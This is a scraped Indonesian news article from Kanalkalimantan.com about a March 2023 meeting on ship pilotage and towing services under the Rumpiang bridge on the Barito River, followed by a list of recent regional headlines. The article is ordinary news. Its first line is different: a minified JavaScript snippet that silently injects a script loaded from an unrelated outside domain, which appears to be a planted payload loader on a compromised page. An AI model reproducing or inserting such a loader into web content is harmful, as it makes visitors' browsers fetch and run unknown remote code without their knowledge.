(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ADV BARITO KUALA

Pj Bupati Batola dan KSOP Banjarmasin Koordinasikan Pelayanan Pemanduan dan Penundaan Kapal di Sungai Barito


KANALKALIMANTAN.COM, MARABAHAN – Dalam rapat koordinasi yang digagas Badan Usaha Pelabuhan (BUP) PT. Pelabuhan Barito Kuala Mandiri (PT.PBKM), Penjabat (Pj) Bupati Barito Kuala (Batola) Mujiyat, S. Sn, M. Pd, bersama Kepala KSOP Kelas I Banjarmasin, Agustinus Maun, membahas pelayanan pemanduan dan penundaan kapal di alur Sungai Barito. Rapat tersebut berlangsung di Hotel Rodhita Banjarmasin pada Rabu (15/3/2023).

Dalam rapat tersebut, Agustinus menyosialisasikan peraturan Menteri Perhubungan terkait pemanduan dan penundaan kapal. Hadir dalam rapat tersebut juga Sekretaris Daerah Batola Ir. H. Zulkipli Yadi Noor, M. Sc, Kepala Dinas Perhubungan Nor Ipani, Kepala Bagian Pemerintahan Setda Batola Joko Sumitro, serta Direktur PT. PBKM Anggan, M. S.AB. Agustinus menjelaskan pentingnya adanya layanan pemanduan dan penundaan kapal sebagai upaya mengamankan lalu lintas perairan di bawah jembatan Rumpiang yang sering mengalami risiko kecelakaan.

Selain aspek keamanan, pelayanan tunda di bawah jembatan Rumpiang juga memiliki potensi untuk meningkatkan Pendapatan Asli Daerah (PAD). Agustinus memberikan contoh Kota Samarinda yang telah menerapkan pelayanan tunda bagi kapal yang melewati jembatan Mahakam dengan tarif layanan sebesar 15 juta per kapal. Hal ini menggambarkan potensi PAD yang dapat diperoleh jika ada 30 kapal melintas setiap harinya.

Baca juga: DPRD Batola Apresiasi Pemusnahan Barang Bukti di Kejaksaan Batola

Joko Sumitro, Kepala Bagian Pemerintahan Setda Batola, menjelaskan bahwa gagasan penyelenggaraan layanan pemanduan dan penundaan ini berasal dari Pj. Bupati Batola Mujiyat, S.Sn, M. Pd melalui PT. PBKM yang merupakan Badan Usaha Milik Daerah. Namun, implementasi layanan tersebut perlu mendapatkan persetujuan Indonesian National Shipowners’ Association (INSA) dan disahkan oleh Kementerian Perhubungan.

Joko juga menekankan bahwa selain potensi peningkatan PAD, layanan pemanduan dan penundaan kapal ini juga berpotensi menciptakan lapangan kerja baru. KSOP menetapkan persyaratan bagi PT. PBKM untuk menyediakan minimal 3 kapal tunda, baik milik sendiri maupun sewa. Pj Bupati Mujiyat menginstruksikan Dinas Perhubungan dan PT. PBKM untuk segera menyiapkan persyaratan yang diperlukan guna mendukung pelaksanaan layanan ini. (Kanalkalimantan.com/rdy)

Reporter: rdy
Editor: kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.